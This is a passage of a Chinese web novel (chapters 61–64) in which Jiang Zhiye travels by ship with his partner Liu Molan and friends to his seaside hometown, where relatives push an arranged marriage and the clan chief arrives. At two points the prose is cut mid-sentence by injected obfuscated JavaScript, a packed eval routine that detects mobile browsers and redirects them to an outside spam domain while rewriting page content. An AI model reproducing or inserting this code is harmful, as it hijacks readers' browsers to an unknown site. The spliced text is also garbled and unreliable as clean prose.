安德鲁转过身,走到江知烨对面坐下,:“事出反常必有因。但知烨,你有没有想过,也许正是因为你离开了太久,望潮镇才更需要你回去?或者,这封信本身,并非仅仅是邀请,可能还隐藏着其他的信息?” “其他信息?”江知烨抬眼看他。 “嗯,”安德鲁点点头,“比如,望潮镇是否遇到了什么麻烦?又或者,关于你的身世,是否有什么你不知道的内情?” 江知烨沉默了。 他的母亲早逝,父亲江晟洹在世时,也很少提及望潮镇的往事。他只知道自己是海族,却从未深究过具体的种族,也不知道母亲究竟是什么样的人。难道,这封迟到了两千多年的信,会牵扯出他从未了解过的过去? “这些都只是猜测,”安德鲁见他神色凝重,便放缓了语气,“现在最重要的是,你想不想回去?” 江知烨抬起头,眼中闪过一丝复杂的情绪。 想吗?说不想是假的。 那片海,那个小镇,是他血脉的根源,即便时隔两千多年,午夜梦回,偶尔也会听到隐约的潮声。可是,理智又在告诉他,这趟行程充满了未知,耗时良久,还牵扯到身边的朋友。 “我……”江知烨有些犹豫,“我担心路途遥远,耽误了公务,也担心……带他们一起去,会不会有危险?毕竟,望潮镇的情况,我已经很久没了解过了。” “公务的事情,你不用担心,”安德鲁立刻道,“都察院和理尚府都有得力的副手,我们暂时放权,处理日常事务绰绰有余。至于危险……”他沉吟片刻,“知烨,我们这些人,哪个是普通人?你我都有真元在身,漠澜的实力也不弱,顾时夜和顾夜白虽然年轻,但也跟你学了不少本事,加上妙儿和白鸽,自保应该不成问题。而且,既然是去参加万萨节,望潮镇的人想必不会为难客人。” 他看着江知烨,语气诚恳:“知烨,我知道你重情重义,担心我们。但你也要相信我们,我们是朋友,是伙伴,你的家乡,也是我们想去看看的地方。妙儿他们那么期待,你真的忍心让他们失望吗?” 想到方妙他们亮晶晶的眼睛,顾夜白兴奋的样子,江知烨心中的防线又松动了几分——如果连这样的旅程都不能一起经历,那还算什么朋友? “而且,”安德鲁又补充道,“你也该回去看看了。两千多年了,望潮镇变成什么样了?当年的人和事,是否还有留存?这对你来说,难道不是一种诱惑吗?” 诱惑。 安德鲁说得没错,这确实是一种诱惑。一种对根源的探寻,对未知的好奇。 江知烨靠在椅背上,闭上眼睛,脑海中仿佛又响起了儿时记忆里的潮声。那声音遥远而清晰,像一种无声的召唤。 许久,他睁开眼,眼中的犹豫渐渐散去,取而代之的是一种释然和决断:“好,安德鲁,你说得对。我回去。” 安德鲁露出了欣慰的笑容:“好!我就知道你会想通的。那我们现在就商量一下具体的安排。首先是公务,我回去立刻安排都察院的副手接手我的工作,你也尽快梳理理尚府的事务,交给可靠的人。其次是行程,从南清城到望潮镇的码头,坐船需要多长时间?我们需要准备些什么?” “坐船的话,顺风顺水也要近两个月,”江知烨道,“而且必须在春天出发,赶上春汛,否则航行会更慢。需要准备的东西很多,衣物、盘缠、路上的干粮饮水,还有……也许需要带一些南清城的特产,作为给望潮镇的见面礼。” “这些都好办,”安德鲁点点头,“妙儿和顾时夜他们可以帮忙准备。对了,还有漠澜,你得去跟他说一声。‘花月满人间’酒楼生意正好,他要是想一起去,得提前暂停营业。” 提到柳漠澜,江知烨的眼神柔和了许多。“嗯,我等会儿就去找他。” 两人又详细商量了一些细节,包括航行路线、可能遇到的天气情况、以及抵达望潮镇后的应对等。安德鲁考虑周全,江知烨也将自己记忆中关于望潮镇和航海的注意事项一一告知,两人配合默契, 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“还要等那么久啊……”顾夜白有些失落,但很快又振作起来,“不过没关系,我可以趁这段时间好好准备!我要带画板,把大海画下来!” 顾时夜无奈地笑了笑:“你呀,就知道玩。” “好了,”江知烨道,“既然决定了,大家就分头准备吧。妙儿,你和安德鲁一起,负责整理路上的衣物和干粮。时夜、夜白,你们帮我梳理理尚府的事务。白鸽……”他看向安静的白鸽,“你要是没事,就帮着妙儿一起吧。” 白鸽点点头,虽然没说话,但眼神里透着一丝乐意。 “那我现在就去找阿澜。”江知烨道。 “我和你一起去!”方妙立刻道,“我想去他那儿蹭顿饭!” “我也去!”顾夜白跟着说。 “行了,别跟着瞎闹,”安德鲁无奈地说,“让知烨自己去和漠澜说,我们先去忙自己的事。” 顾时夜也拉了拉弟弟:“走吧小白,我们去理尚府库房看看,还有哪些文书需要整理。” 顾夜白虽然有些不情愿,但还是跟着哥哥走了。安德鲁朝江知烨点了点头,带着方妙和白鸽也离开了,留下江知烨一个人,准备前往“花月满人间”酒楼。 走在南清城的街道上,江知烨的心情轻松了许多。 微风拂过,带着江南特有的温润气息。他想起柳漠澜清冷的眉眼和温柔的笑容,脚步也不由得加快了些。 酒楼生意兴隆,大堂里座无虚席,伙计们穿梭其间,吆喝声此起彼伏。 一个眼尖的伙计看到江知烨,立刻笑着迎了上来:“哟,是江大人来了!快请进,柳老板正在后院呢。” “嗯,我自己过去就好。”江知烨点点头,熟门熟路地走向后院。 后院相对安静一些,江知烨走到卧房门口,轻轻敲了敲门。 “请进。” 里面传来柳漠澜温润的声音。 江知烨推开门,只见柳漠澜正坐在窗边的桌前,手里拿着一本账册,神情专注。 听到动静,柳漠澜抬起头,看到是江知烨,清冷的眉眼瞬间柔和下来,露出一个浅浅的笑容:“知烨,你来了。今天怎么有空过来?” “想你了,就过来看看。”江知烨走到他对面坐下,看着他,“在忙账册?” “嗯,这个月的流水,”柳漠澜合上册子,给江知烨倒了杯茶,“刚算完,还算不错。怎么了,看你神色,似乎有什么事?” 江知烨接过茶杯,他将望潮镇来信的事情,以及自己和安德鲁的决定,原原本本地告诉了柳漠澜。 柳漠澜静静地听着,脸上没有太多惊讶的表情,只是在听到“万萨节”和“大海”时,眼中闪过一丝不易察觉的光芒。等江知烨说完,他端起自己的茶杯,轻轻抿了一口,似乎在思索着什么。 江知烨有些忐忑地看着他:“阿澜,我知道‘花月满人间’正是生意好的时候,如果你觉得不方便……” “没有不方便。”柳漠澜打断他,抬起头,眼中带着温和的笑意,“知烨,你的家乡,我一直想去看看。只是没想到,会是以这样的方式。万萨节……听起来很有意思。” 他顿了顿,又道:“酒楼的生意,暂停一段时间无妨,我会安排好伙计们。你离开那么久,是该回去看看了。而且,”他看向江知烨,眼神认真,“我们是一起的,你去哪里,我就去哪里。” 柳漠澜的话语很轻,却稳稳地落在江知烨的心上,“谢谢你,阿澜。”江知烨伸出手,轻轻握住了柳漠澜放在桌上的手。 柳漠澜的手微凉,却很温暖。他没有抽回,只是回握住江知烨,眼中笑意更深:“跟我说什么谢。什么时候出发?我好提前安排。” “大概七天后,等我和安德鲁把公务交接完。” “好。”柳漠澜点点头,“那这段时间,我会把酒楼的事情处理好。对了,去海边,需要准备些什么特别的东西吗?” “也没什么特别的,就是路上的行装,还有一些防潮的物品。”江知烨道,“其他的,到了望潮镇再说吧。” 两人又聊了些关于行程和准备的细节,直到门外的伙计前来请示事情,柳漠澜才起身去处理。 江知烨看着对方远去的背影,突然开始期待这次漫长的旅程了。 62. 启航 七天的时间,在忙碌的准备中一晃而过。 江知烨和安德鲁各自将手头的公务梳理清楚,交给了可靠的副手,千叮万嘱,务必看好各自的摊子。 顾时夜和顾夜白穿梭在市集之间,按照江知烨列的清单,购置着各种路上需要的物品。 方妙则在安德鲁的帮助下,整理着众人的行李,她心细,连每个人喜欢吃的零食都考虑到了,装了满满一箱子——但其实更多是她想吃。 而柳漠澜,则有条不紊地暂停了“花月满人间”酒楼的生意。他将伙计们召集起来,妥善安排了他们的假期和薪水,又将酒楼里的食材和贵重物品一一封存好,锁好了门窗,只留下一个负责看守的老伙计。 做完这一切,他才彻底放下心来。 出发的那天,天刚蒙蒙亮,南清城的漕水码头已经热闹起来。江面上停泊着许多船只,大小不一,桅杆林立。江知烨一行人带着行李,来到约定好的泊位前,只见一艘中等规模的航船静静地停泊在那里,船身漆成深棕色,船帆洁白,船头雕刻着一个模糊的海兽图案,透着一股古朴的气息。 “这就是我们要坐的船吗?江大人,它看起来好结实啊!”顾夜白眼睛里满是好奇。 “嗯,这是我特意租的,”江知烨道,“船老大是个经验丰富的老水手,走这条航线很多年了,安全有保障。” 说话间,一个皮肤黝黑、身材壮实的中年汉子从船上走了下来,看到江知烨,立刻拱手道:“是江大人吧?我是船老大老周,您租的船已经准备好了,随时可以出发。” “有劳周老大了。”江知烨还了一礼,“这是我的朋友们,我们七个人,行李都在这里了。” “好说好说!”老周爽朗地笑了笑,拍了拍胸脯,“放心吧江先生,包在我身上!船上的舱房已经收拾好了,我这就叫伙计们把行李搬上去。” 说着,他吆喝了几声,几个水手立刻上前,接过众人的行李,熟练地搬上了船。 “那我们上船吧。”江知烨对众人道。 方妙有些兴奋,又有些紧张,紧紧拉着安德鲁的手:“安德鲁,我们要坐船去大海了!” 安德鲁笑着拍了拍她的手:“嗯,别担心,很安全的。” 顾时夜和顾夜白早已迫不及待地跳上了船,在甲板上跑来跑去,这里看看,那里摸摸。 柳漠澜走在江知烨身边,低声道:“船上风大,一会儿到了舱房,把外衣披上。” “知道了,阿澜。”江知烨看着他,心中一暖。 众人上了船,老周带着他们来到舱房。船舱分为上下两层,上层是甲板和驾驶室,下层则是舱房和货舱。他们的舱房在下层靠前的位置,有上下房间,江知烨和柳漠澜一间,安德鲁和方妙一间,顾时夜、顾夜白和白鸽一间。房间不大,但收拾得干净整洁,每个房间里都有两张床铺,还有一个小小的桌子和椅子。 “江大人,你们先安顿一下,我去准备开船了。”老周说完,便转身出去了。 “哇,这就是船舱吗?”顾夜白好奇地打量着四周,“感觉有点小,不过还挺舒服的。” 顾时夜则走到窗边,推开小小的舷窗,看着外面的江水:“小白,快来看,我们要开船了!” 顾夜白立刻凑过去,两人趴在窗边,兴奋地看着水手们解开缆绳,收起跳板。 方妙在安德鲁的房间里,有些不安地坐在床上:“安德鲁,坐船会不会很晃啊?我以前坐船,差点晕船了……” 更重要的是那次他们遇到了海龙卷,差点全死了。 安德鲁坐到她身边,握住她的手,温柔地说:“别怕,妙儿,我小时候也坐过船,刚开始可能会有点不适应,习惯了就好了。如果觉得不舒服,就躺一会儿,或者到甲板上去透透气。” “嗯。”方妙点点头,靠在安德鲁的肩膀上,心里踏实了许多。 此时,船身已经缓缓移动,离开了码头,朝着宽阔的江面驶去。岸边的景物渐渐后退,南清城的轮廓也越来越小,最终消失在视野中。 “真的出发了……”江知烨看着窗外不断后退的江水,心中感慨万千。 两千三百多年了,他从未想过,自己还会以这样的方式,踏上返回故乡的旅程。 船在江面上平稳地行驶着,起初几天,大家都充满了新鲜感。 顾时夜和顾夜白几乎一整天都泡在甲板上,看着两岸的风景,或者缠着老周问东问西。 老周是个爽快人,也乐得跟他们讲解,什么地方有险滩,什么地方有城镇,还有一些江上的趣事。方妙刚开始还有些晕船,在安德鲁的照顾下,慢慢也适应了,偶尔也会到甲板上吹吹风,看看江面上往来的船只。 江知烨和柳漠澜则相对安静一些。他们有时会在舱房里看书下棋,有时也会到甲板上散步,聊聊天。江知烨会给柳漠澜讲一些他记忆中望潮镇的事情,虽然时隔久远,很多细节都已模糊,但说起儿时在海边玩耍的情景,他眼中还是会泛起一丝怀念的光芒。 然而,新鲜感过后,漫长的航行也渐渐变得枯燥起来。 江面的风景虽然秀丽,但日复一日地看着,也难免审美疲劳。顾时夜和顾夜白不再像刚开始那样兴奋,有时也会觉得无聊,开始在舱房里玩起了骰子或者棋盘游戏。方妙则开始整理她带来的零食,变着法儿地给大家分享。 这天,船行驶到一个叫“落霞渡”的地方,江面突然变得宽阔起来,水流也平缓了许多。傍晚时分,夕阳西下,整个江面被染成了一片金红色,波光粼粼,煞是好看。 “哇!太美了!”顾夜白站在甲板上,忍不住惊叹道。 顾时夜也看得入了神:“是啊,真像书上说的‘余霞散成绮,澄江静如练’。” 方妙靠在安德鲁的怀里,看着漫天的晚霞,忍不住感叹:“要是每天都能看到这么美的景色就好了。” 安德鲁笑了笑:“等我们到了望潮镇,看到的大海,会比这更壮观,更美丽。” “真的吗?”方妙眼睛一亮。 “当然是真的。” 江知烨和柳漠澜站在船头,晚风吹拂着他们的衣袂,带着一丝凉意。江知烨望着远处水天相接的地方,心中不由得想起了望潮镇的大海。那里的夕阳,又会是怎样一番景象呢? “在想什么?”柳漠澜轻声问道。 “在想望潮镇的海,”江知烨转过头,看着柳漠澜,“不知道现在是什么样子。” “很快就能看到了。”柳漠澜道,“别担心,一切都会好的。” 江知烨点点头,心中安定了许多。 是啊,有他在,有朋友们在,无论前方是什么,他都不再害怕。 航船继续向前行驶,穿过了一片又一片的水域,路过了一个又一个的城镇。 天气渐渐变暖,春天的气息越来越浓,两岸的树木抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694794|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了新芽,野花也竞相开放。 这天,老周突然来到舱房,对江知烨道:“江先生,告诉您一个好消息,我们已经过了‘分水关’,再往前行驶几天,就能进入海口,看到大海了!” “真的吗?”江知烨闻言,心中一喜。 “当然是真的!”老周哈哈笑道,“我跑这条航线几十年了,还能骗您不成?估计再有四五天,就能抵达望潮镇的码头了。” 这个消息像长了翅膀一样,很快传遍了整个船舱。 江知烨的心情更是复杂,有期待,有紧张,还有一丝近乡情怯。 两千三百多年了,他终于要回到那个既熟悉又陌生的家乡了。 那里的人们,还认得他吗?那封信的背后,究竟隐藏着什么秘密? 柳漠澜似乎察觉到了他的情绪,轻轻拍了拍他的背:“别想太多,既来之,则安之。无论发生什么,我们都在一起。” “嗯。”江知烨深吸一口气,点了点头。 接下来的几天,船上的气氛变得格外活跃。大家都在憧憬着即将见到的大海和望潮镇,讨论着万萨节会是什么样子。顾时夜和顾夜白甚至开始模仿起他们想象中的海族样子,逗得方妙哈哈大笑。 终于,在一个清晨,当江知烨被一阵不同于往日的、带着浓郁咸腥味的海风吹醒时,他知道,他们已经进入海口了。 他迅速起身,穿上衣服,来到甲板上。只见前方的江面越来越宽,颜色也从清澈的碧绿渐渐变成了深邃的蔚蓝。远处的地平线上,似乎有一道模糊的线,将天空和水面分隔开来。 “江大人!快来看!是大海!真的是大海!”顾夜白的声音带着激动的颤抖,指着前方。 江知烨顺着他指的方向望去,心脏不由得猛地一跳。 那是一片望不到边际的蔚蓝,海水在晨光的照耀下,闪烁着粼粼的波光,仿佛一块巨大的、被打磨过的蓝宝石。海面上,偶尔有白色的海鸟掠过,留下几声清脆的鸣叫。咸腥的海风扑面而来,带着一种狂野而自由的气息,瞬间吹散了他心中所有的阴霾和不安。 “大海……”方妙也来到甲板上,看到眼前的景象,忍不住捂住了嘴巴,眼中充满了震撼和惊喜,“好美……比我想象的还要美……” 安德鲁站在她身边,脸上带着温和的笑容:“嗯,很美。” 顾时夜站在栏杆旁,深深吸了一口气:“这就是大海的气息吗?果然和江水不一样,带着一股……咸咸的,又很开阔的味道。” 柳漠澜走到江知烨身边,看着眼前的大海,又看了看江知烨,轻声道:“我们到了,知烨。” 江知烨点点头,看着眼前这片魂牵梦绕了两千多年的蔚蓝,心中百感交集。 是啊,他们到了。望潮镇,就在不远处的海岸线上。 他深吸一口带着咸腥味的海风,仿佛要将这两千多年的思念和疏离,都随着这口气,吹散在风中。 “周老大,”江知烨转过身,对正在指挥水手调整航向的老周道,“望潮镇的码头,还有多远?” 老周擦了擦汗,笑着回道:“江大人,别急!顺着这股海流,再有大半天,就能看到望潮镇的灯塔了!那灯塔啊,可是望潮镇的标志,老远就能看见!” 大半天。 这个消息无疑是激动人心的。 海风吹拂着船帆,发出猎猎的声响,远走的孤船,终于又回到了港湾。 63. 故人之影 众人跟着江知烨穿过镇口那棵盘根错节的老榕树时,江知烨的脚步在一栋悬着鲨鱼牙风铃的木屋前顿住,海风掀起他额前的碎发,露出那双在暮色里也显得格外明亮的眼睛。 “到了,”他扬声喊道,手掌在木门上叩出两声闷响,“是我,江知烨。” 门轴“吱呀”一声转动,探出个围着海藻围裙的中年妇人脑袋。她的耳尖缀着两枚银质的小鱼鳞耳钉,随着动作轻轻晃动,鱼尾状的裙摆扫过门槛时,带起一股咸湿的海腥味。 “知烨?”妇人眯起眼打量片刻,突然拔高了声音,“哎哟!真是知烨回来了!快进来快进来!” 屋里顿时热闹起来。圆形的石砌火塘上架着口铁锅,咕嘟咕嘟煮着奶白色的鱼汤,蒸汽里混着海草和贝类的鲜香。角落里堆着渔网和晒干的海带,墙上挂着几幅鲨鱼头骨标本,眼窝处嵌着莹蓝的夜光石,在渐暗的光线下幽幽发亮。 “这是二姨奶,”江知烨侧身让众人进屋,依次介绍,“那是三叔公,还有……”他的声音渐渐低下去,看着围过来的一张张似是而非的面孔,有些窘迫地挠了挠头,“好多亲戚我也记不清了,大家随便坐吧。” 方妙立刻被桌上的炸鱼块吸引了,小鼻子使劲嗅了嗅,眼睛亮晶晶的。安德鲁很自然地替她拉开一张贝壳打磨的椅子,低声叮嘱:“慢点吃,小心刺。”顾时夜和顾夜白则像两只刚入林的小兽,好奇地打量着屋里的摆设,顾夜白伸手想去摸墙上的鲨鱼牙,被顾时夜轻轻拍了下手背。 柳漠澜安静地站在江知烨身侧,指尖不经意间蹭过他的手腕。 江知烨像是得了靠山,往他身边又凑了凑,低声说:“阿澜,你看他们耳朵……”柳漠澜顺着他的目光望去,只见二姨奶说话时,耳尖的鱼鳞耳钉随着她鱼尾状的耳垂微微扇动,倒像是两片活的鱼鳃。 就在这时,一个身影从里屋走了出来。男人中等身材,穿着靛蓝色的海草编织短褂,袖口和领口绣着银线勾勒的波浪纹。他的头发用一根鲨鱼牙齿发簪束在脑后,额角有一道不太明显的疤痕,延伸到鬓角处。 “知烨,”男人的声音带着海水般的沙哑,他径直走到江知烨面前,目光在他脸上停留片刻,又转向众人,“你们就是跟知烨一起来的朋友吧?我是江叔,江临。” 江知烨的眉头几不可察地蹙了一下。他确定自己不认识这个叫江临的男人,家族里的长辈他多少有点印象,可这人…… 他勉强扯出个笑容:“江叔您好。” “小时候我还抱过你呢,”江临笑起来,眼角的皱纹堆在一起,露出一口白牙,“那时候你才这么点高,跟着你父亲出海,裹着个小鲨鱼皮袄,像个圆滚滚的海胆。” 这话让江知烨更尴尬了。 他对小时候的记忆大多模糊,只记得父亲的背影和咸涩的海风,至于被谁抱过,完全没印象。 以前大多认识的人都已经去世了,能现在还活着的都是有真元的族人,但在江知烨看来有真元的人都是不老不死,眼前认识的族人样貌大多有些年纪了,他实在分辨不出来。 太奇怪了。 他含糊地应了两声,下意识地往柳漠澜身后躲了躲。 江临似乎没察觉到他的窘迫,热情地张罗着:“快坐下吃饭!知道你们赶路累了,今晚特意煮了鲜捕的石斑鱼,还有刚挖的海蛎子。”他说着,目光又落在江知烨身上,带着一种近乎审视的温和,“知烨啊,回来就好,家里人都念叨你呢。” 晚饭在一种略显微妙的气氛中进行。 方妙完全沉浸在美食里,筷子不停地伸向盛鱼的陶盆,安德鲁则耐心地替她挑着刺,时不时给她舀一勺热汤。 江知烨却有些心不在焉。他能感觉到江临的目光时不时落在自己身上,那目光里有种说不清道不明的意味,像潮水一样,看似温和,却带着不容抗拒的压力。他几次想跟柳漠澜说话,都被江临有意无意地打断。 “知烨,尝尝这个,”江临夹了一块鱼腹肉放进他碗里,“你父亲以前最爱吃这个部位,说最是鲜嫩。” “谢谢江叔,”江知烨低声道谢,飞快地把鱼肉拨到柳漠澜碗里,“阿澜,你吃。” 柳漠澜抬眼看他,眸色沉静,用只有两人能听到的声音问:“怎么了?” 江知烨摇摇头,扒拉着碗里的米饭,心里却像被海草缠住了一样别扭。 他总觉得这个江临太热情了,热情得有些刻意。 晚饭过后,众人被安排到后院的几间厢房休息。方妙打着饱嗝,拉着安德鲁去看院子里的海星盆栽——不过那只是长得像海星。顾时夜和顾夜白则缠着三叔公问出海的故事。 江知烨借口透气,独自一人走到了沙滩上 夜色完全笼罩了海面,只有远处渔船上的灯火星星点点。海风带着夜晚的凉意,吹在脸上很舒服。 江知烨深深吸了口气,脑海里却忍不住想起江临的话,还有那些陌生的亲戚面孔。他从小和父亲生活在这,但对这个所谓的“家族”其实很陌生,这次回来,本只是想带朋友们看看万萨节,没想到…… 他无意识地哼起一支调子,那是父亲教他的渔歌,旋律简单,带着海风的辽阔和海浪的节奏。刚哼了两句,身后突然传来了相同的旋律,唱得比他更熟练,更沧桑。 江知烨猛地回头,只见江临站在不远处的月光下,手里拿着一支用海草茎做的短笛,笛孔还在微微颤动。 “你父亲教你的?”江临走近几步,月光勾勒出他脸上的疤痕,显得有些深邃,“他以前每次出海回来,都会坐在礁石上吹这支曲子。” 江知烨皱起眉,语气里带着一丝不耐:“江叔,你到底想干什么?为什么一直跟着我?” 江临叹了口气,将短笛揣进怀里:“知烨,我不是跟着你,我是看着你长大的……虽然你可能不记得了。”他顿了顿,目光投向漆黑的海面,“你离开家太久了,有些事情,你该知道了。” “什么事?” “关于你的婚事。”江临的声音很平静,却像一记重锤,“你父亲走后,族里一直在留意合适的人选。你知道,我们这个分支,能在淡水和海水里自由生活的血脉不多了,你的基因很珍贵。” 江知烨的脸色瞬间沉了下来:“我已经有伴侣了,柳漠澜。” “我知道,”江临点点头,语气里带着一丝惋惜,“那个叫柳漠澜的年轻人,看起来很不错,但他不是我们族的。知烨,你应该明白,我们需要你延续血脉,找一个同族的雌性,对整个家族都有好处。” “我的事不用你们管!”江知烨的声音陡然拔高,“我回来只是过万萨节,过完节我们就走。别再打这些主意了!” “知烨,你别冲动,”江临试图上前一步,“族里也是为了你好……” “为我好?”江知烨冷笑一声,“把我骗回来,逼我跟不认识的人结婚,这就是为我好?告诉你们,不可能!”他猛地转身,大步朝住处走去,脚步踩在沙滩上,留下深深的脚印,又很快被潮水抚平。 江临站在原地,看着他的背影消失在夜色里,脸上的温和渐渐褪去,只剩下一片深沉。他从怀里掏出短笛,对着海面轻轻吹了几个不成调的音符,远处黑暗中,似乎有什么东西在水面下轻轻晃动了一下。 江知烨几乎是逃也似的离开了沙滩。晚风吹散了他的怒火,却吹不散心里的烦躁。 他知道兽人世界里家族观念很重,尤其是像他们这种血脉特殊的族群,但他从没想过,所谓的“亲戚”们竟然会打这种主意。他越想越气,脚步也越来越快,直到撞进一个温暖的怀抱。 “知烨?”柳漠澜的声音带着一丝担忧,他伸手扶住江知烨的肩膀,“怎么跑这么急?脸色这么差。” 月光下,柳漠澜的眼睛像浸在水里的黑曜石,沉静而温柔。江知烨看着他,心里的怒火莫名就消了大半,只剩下满满的委屈和别扭。他把头埋在柳漠澜的肩窝里,闷闷地说:“阿澜,他们……” “先进屋说。”柳漠澜轻轻拍了拍他的背,牵着他走进房间。屋里点着一盏贝壳油灯,暖黄色的光晕柔和地铺在地上。 江知烨把刚才和江临的对话原原本本地说了一遍,越说越激动,最后一拳砸在桌子上:“他们怎么能这样!我根本不认识那些人,凭什么决定我的婚事?” 柳漠澜安静地听着,手指轻轻摩挲着江知烨紧握的拳头,等他说完,才缓缓开口:“别生气,知烨。我知道这让你很不舒服。”他的声音很平静,却带着一种安抚人心的力量,“但我们现在在他们的地盘上,硬碰硬不是最好的办法。” “那怎么办?”江知烨抬起头,眼里带着一丝茫然,“我不可能答应他们的。” “我知道,”柳漠澜看着他的眼睛,语气坚定,“我们是伴侣,这一点不会变。但我们需要先稳住他们,等过完万萨节,我们就离开。”他顿了顿,又补充道,“这段时间,我们都小心一点,尤其是你,离那个江临远一些。” 江知烨点点头,心里稍微安定了一些。有柳漠澜在身边,他就觉得有了主心骨。他靠在柳漠澜肩上,闻着他身上清冽的气息,像雨后的青竹,混杂着淡淡的海水味,是他熟悉的安心的味道。 “阿澜,”他轻声说,“谢谢你。” 柳漠澜低头,在他额上轻轻吻了一下:“傻瓜,跟我说什么谢。” 就在这时,门外传来轻轻的敲门声,接着是顾时夜的声音:“江大人,你们睡了吗?” 江知烨赶紧坐直身体,清了清嗓子:“没呢,进来吧。” 顾时夜和顾夜白推门进来,手里还捧着两个椰子。顾夜白献宝似的举起椰子:“江大人,阿澜哥,这是我们跟二姨奶要的,可甜了!” 顾时夜则眨着眼睛,好奇地打量着江知烨:“江大人,刚才我好像看到你跟那个江叔在沙滩上吵架了?他欺负你了吗?我们去帮你揍他!” “胡说什么呢!”江知烨瞪了他一眼,但心里却暖烘烘的,“没有吵架,就是说了几句话。” 顾夜白把椰子递给他们,自己抱着另一个喝了一大口,含糊地说:“那个江叔看着就不像好人,老是盯着江大人看,眼神怪怪的。” 柳漠澜接过椰子,对兄弟俩笑了笑:“谢谢你们。时候不早了,快去睡吧,明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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江知烨帮着三叔公递渔网针,心里却有些忐忑。他知道江临他们不会轻易放弃,这几天的平静,更像是暴风雨前的宁静。他时不时地朝港口方向望去,那里停靠着许多艘装饰华丽的渔船,船头雕刻着各种海洋生物的图案,其中一艘最大的船上,挂着一面绣着鲨鱼图腾的旗帜,在海风中招展。 “知烨,”三叔公突然开口,打断了他的思绪,“你父亲要是还在,看到你回来,一定会很高兴。” 江知烨愣了一下,转过头看着三叔公。老人的脸上布满了皱纹,像被海水冲刷过的礁石,眼神却很温和。“三叔公,”他低声说,“我父亲……他是个什么样的人?” 他对父亲的记忆很模糊,只记得一个高大的背影,和每次出海前,父亲用粗糙的手掌揉他头发的感觉。 三叔公放下手里的渔网,叹了口气:“你父亲啊,是个硬汉子,也是个好父亲。他年轻的时候,可是这一带最厉害的渔夫,什么大风大浪都见过。”老人的目光投向远方,像是在回忆遥远的过去,“他最疼的就是你,从小就教你游泳,教你认鱼,说以后要让你接他的班,做个像他一样的好渔夫。” 江知烨的心微微一酸。 “可是,”三叔公话锋一转,语气变得有些沉重,“你父亲走得突然,族里的事情……就有些变了。”他看了江知烨一眼,欲言又止,“知烨,有些事,你心里要有个数。” 江知烨明白他的意思,点了点头:“我知道,三叔公。” 就在这时,顾夜白突然指着港口方向,大声喊道:“哥!你看!那是什么?” 众人顺着他指的方向望去,只见那艘挂着鲨鱼图腾旗帜的大船旁边,不知何时靠泊了一艘更加华丽的船只。船身通体漆黑,像是用某种深海木材打造,船头雕刻着一个巨大的鲨鱼头骨。船上站着几个穿着黑色劲装的人,一看就不是普通的渔民。 “那是……族长大人的船?”三叔公的脸色微微一变,手里的渔网针“啪嗒”一声掉在地上,“他怎么会来这里?” 江知烨的心猛地一沉。 族长?他只在很小的时候见过一次,是个极其威严的人,据说已经很少过问族里的具体事务了。他突然出现,难道是为了…… “知烨,”柳漠澜不知何时走到了他身边,轻轻握住他的手,“别慌。” 江知烨抬起头,看到柳漠澜眼里的镇定,深吸一口气,点了点头。 不管来的是谁,他都不会放弃自己的选择。 就在这时,一个身影从那艘黑色大船上走了下来,沿着跳板慢慢走向沙滩。那人穿着一件绣着银色海浪纹的黑色长袍,头发花白,梳得一丝不苟,脸上刻满了岁月的痕迹,眼神却锐利如鹰。他的身后跟着两个身材高大的随从,走路时脚步轻盈,带着一种海洋生物特有的敏捷。 “是族长……”三叔公的声音有些发颤,连忙整理了一下衣服,准备上前行礼。 江知烨站在原地,手心微微出汗。他能感觉到,随着族长的靠近,空气中的压力也越来越大。顾时夜和顾夜白也察觉到了气氛的不对劲,乖乖地站在江知烨身后,不再打闹。方妙紧紧抓着安德鲁的手,安德鲁则不动声色地将她护在身后。 族长的目光缓缓扫过众人,最后落在了江知烨身上。他的眼神很复杂,有审视,有探究,还有一丝不易察觉的……满意? “江知烨,”族长的声音低沉而有力,带着一种不容置疑的威严,“你回来了。” 64. 我爱他 江知烨迎着族长锐利的目光,挺直了背脊。 “族长。”他微微颔首,没有像其他人那样弯腰行礼,语气不卑不亢。 周围的空气似乎凝固了。三叔公紧张地搓着手,连顾氏兄弟都屏住了呼吸。江临不知何时也来到了沙滩上,站在族长身后,脸上带着恭敬的微笑,目光却时不时瞟向江知烨。 族长看着江知烨,眼神里闪过一丝讶异,随即又恢复了平静。“嗯,”他淡淡应了一声,目光转向柳漠澜,“这就是你的……伴侣?” “是。”江知烨毫不犹豫地回答,同时往柳漠澜身边靠了靠,宣示着主权。 族长没有说话,只是上下打量着柳漠澜。柳漠澜迎着他的目光,神色坦然,既没有畏惧,也没有讨好。他身上那股清冷温柔的气质,在族长强大的威压下,竟然没有丝毫动摇。 “不错。”族长最终点了点头,语气里听不出是赞扬还是别的意思,“跟我来,有些话想跟你说。” 他转过身,朝那艘黑色大船走去。两个随从立刻跟上,江临也亦步亦趋地跟在后面。 江知烨犹豫了一下。他知道这一去可能是什么局面,但他不能退缩。 “我跟你去。”江知烨说。 “知烨……”方妙有些担心地喊了一声。 安德鲁拍了拍她的肩膀,低声说:“没事,我们在这里等他。” 顾时夜和顾夜白也凑了过来,顾时夜小声说:“江大人,要是他们欺负你,我们就……”他做了个握拳的动作。 江知烨笑了笑,揉了揉顾夜白的头发:“放心吧,没事。” 他跟着族长走上跳板,进入船舱。船舱内部装饰得极其奢华,墙壁上镶嵌着珍珠和珊瑚,地板是用光滑的黑色大理石铺成,空气中弥漫着一种奇异的熏香味道。族长在一张铺着鲨鱼皮坐垫的椅子上坐下,示意江知烨也坐。 江临和两个随从站在一旁,形成一个半包围的态势。 